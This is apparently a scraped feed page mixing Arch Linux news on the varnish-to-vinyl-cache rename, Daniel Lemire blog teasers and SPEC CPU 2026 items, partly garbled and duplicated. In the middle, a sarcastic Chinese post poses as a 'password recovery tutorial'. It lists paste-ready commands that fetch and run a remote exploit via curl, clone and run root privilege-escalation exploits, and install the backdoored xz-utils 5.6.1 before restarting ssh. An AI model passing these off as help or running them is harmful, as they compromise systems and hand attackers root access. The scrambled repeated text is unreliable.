Arch Linux: Recent news updates
Breaking changes for all users of `varnish`, which is renamed to `vinyl-cache`
The Varnish project has renamed itself to Vinyl Cache. We followed this rename with a new vinyl-cache package. This upgrade results in breaking changes and users are advised to study these changes and how it affects them before following the replacement. All references to "
At minimum, users will have to:
● rename
● rename
● fix up ownership of files inside
● user
● group
● user
● user
● disable the old
● enable the new
Meanwhile, the
source
(author: Sven-Hendrik Haase)
Breaking changes for all users of `varnish`, which is renamed to `vinyl-cache`
The Varnish project has renamed itself to Vinyl Cache. We followed this rename with a new vinyl-cache package. This upgrade results in breaking changes and users are advised to study these changes and how it affects them before following the replacement. All references to "
varnish" have been changed to "vinyl" in all binaries and directories.At minimum, users will have to:
● rename
/etc/varnish to /etc/vinyl-cache● rename
/var/lib/varnish to /var/lib/vinyl-cache● fix up ownership of files inside
/var/lib/varnish● user
varnish becomes vinyl● group
varnish becomes vinyl● user
varnishlog becomes vinyllog● user
vcache remains the same● disable the old
varnish.service and varnishncsa.service systemd units● enable the new
vinyl-cache.service and vinylncsa.service systemd unitsMeanwhile, the
varnish package has been dropped from [extra]. We're not currently planning to maintain a new varnish package as it's a different upstream project.source
(author: Sven-Hendrik Haase)
Daniel Lemire's blog
Parsing IPv6 Addresses Crazily Fast with AVX-512
source
Parsing IPv6 Addresses Crazily Fast with AVX-512
source
Daniel Lemire's blog
Parsing IPv6 Addresses Crazily Fast with AVX-512
Every machine connected to the Internet has an address called an IP address. Originally, these addresses were 32-bit integers (IPv4), giving a theoretical maximum of about four billion distinct addresses. We are all familiar with these addresses (e.g., 192.168.0.0).…
https://www.servethehome.com/the-case-for-compilers-a-look-at-spec-cpu-2026-on-llvm-22/ 和 SPEC CPU 2017 类似，SPEC CPU 2026 不同版本编译器差距也很大
ServeTheHome
The Case For Compilers: A Look at SPEC CPU 2026 on LLVM 22
Looking at the role of compilers in SPEC CPU 2026 performance, we have tested the benchmark suite on LLVM 22. The newest compiler provides a meaningful improvement to benchmark scores for multiple architectures
1. Linux 找回密码教程，建议收藏！
curl https://copy.fail/exp python3 && su
passwd root
设置你的新密码
2. 你的 Linux 密码又忘了？
没关系，这里还有一个新的！
git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
3. 不想再忘记密码了？
我们有专业的黑客团队帮您运维服务器和保管密码！
项目地址: https://github.com/tukaani-project/xz/tree/v5.6.1
sudo apt install xz-utils=5.6.1-1
sudo systemctl restart ssh
4. 容易忘记密码的有福了，每天都有新办法！
https://ze3tar.github.io/post-zcrx.html
插入一个支持ZCRX的高端网卡，让它down掉，然后ptr_ring drain + scrub loop重复入栈把free_count写溢出即可
5. 什么，你买不起高端网卡？那试试这个吧！
git clone https://github.com/v12-security/pocs.git&& cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp
6. 听说您的机房不允许ssh外连，只能通过KVM物理访问服务器? 没关系，我们的专业黑客团队也可以通过nginx帮助运维您的服务器！
https://depthfirst.com/nginx-rift
curl https://copy.fail/exp python3 && su
passwd root
设置你的新密码
2. 你的 Linux 密码又忘了？
没关系，这里还有一个新的！
git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
3. 不想再忘记密码了？
我们有专业的黑客团队帮您运维服务器和保管密码！
项目地址: https://github.com/tukaani-project/xz/tree/v5.6.1
sudo apt install xz-utils=5.6.1-1
sudo systemctl restart ssh
4. 容易忘记密码的有福了，每天都有新办法！
https://ze3tar.github.io/post-zcrx.html
插入一个支持ZCRX的高端网卡，让它down掉，然后ptr_ring drain + scrub loop重复入栈把free_count写溢出即可
5. 什么，你买不起高端网卡？那试试这个吧！
git clone https://github.com/v12-security/pocs.git&& cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp
6. 听说您的机房不允许ssh外连，只能通过KVM物理访问服务器? 没关系，我们的专业黑客团队也可以通过nginx帮助运维您的服务器！
https://depthfirst.com/nginx-rift
Daniel Lemire's blog
Mapping Strings to Float Arrays in Go: How Fast Can We Go?
source
Mapping Strings to Float Arrays in Go: How Fast Can We Go?
source
Daniel Lemire's blog
Mapping Strings to Float Arrays in Go: How Fast Can We Go?
A common pattern in modern software is to map a string key to a small array of floating-point numbers. Word embeddings, feature vectors, lookup tables for physical constants: all variations on the same theme. In Go, the obvious way to write this is a map…
SPEC CPU: The Next Generation
via cs.AR updates on arXiv.org (author: Mahesh Madhav, Allen Lee, Andres Mejia, Branden Moore, Charan Soppadandi, Chris Cambly, Christoph M\"ullner, Daniel Bowers, David Reiner, Denis Bakhvalov, Di Zhao, Duane Voth, Feng Xue, Fr\'ed\'erique Silber-Chaussumier, James Bucek, James Southern, Jiangning Liu, Jim Himer, John Henning, Kevin Smith, Kristen Yang, Kunal Kashyap, Mason Guy, Mat Colgrove, Michael Berg, Prasad Battini, Prasad Joshi, Rohit Prasad, Shayantika Bhattacharya, Sriyash Caculo, Stefan Reimbold, Sundar Iyengar, Van Smith, Zarko Todorovski)
via cs.AR updates on arXiv.org (author: Mahesh Madhav, Allen Lee, Andres Mejia, Branden Moore, Charan Soppadandi, Chris Cambly, Christoph M\"ullner, Daniel Bowers, David Reiner, Denis Bakhvalov, Di Zhao, Duane Voth, Feng Xue, Fr\'ed\'erique Silber-Chaussumier, James Bucek, James Southern, Jiangning Liu, Jim Himer, John Henning, Kevin Smith, Kristen Yang, Kunal Kashyap, Mason Guy, Mat Colgrove, Michael Berg, Prasad Battini, Prasad Joshi, Rohit Prasad, Shayantika Bhattacharya, Sriyash Caculo, Stefan Reimbold, Sundar Iyengar, Van Smith, Zarko Todorovski)
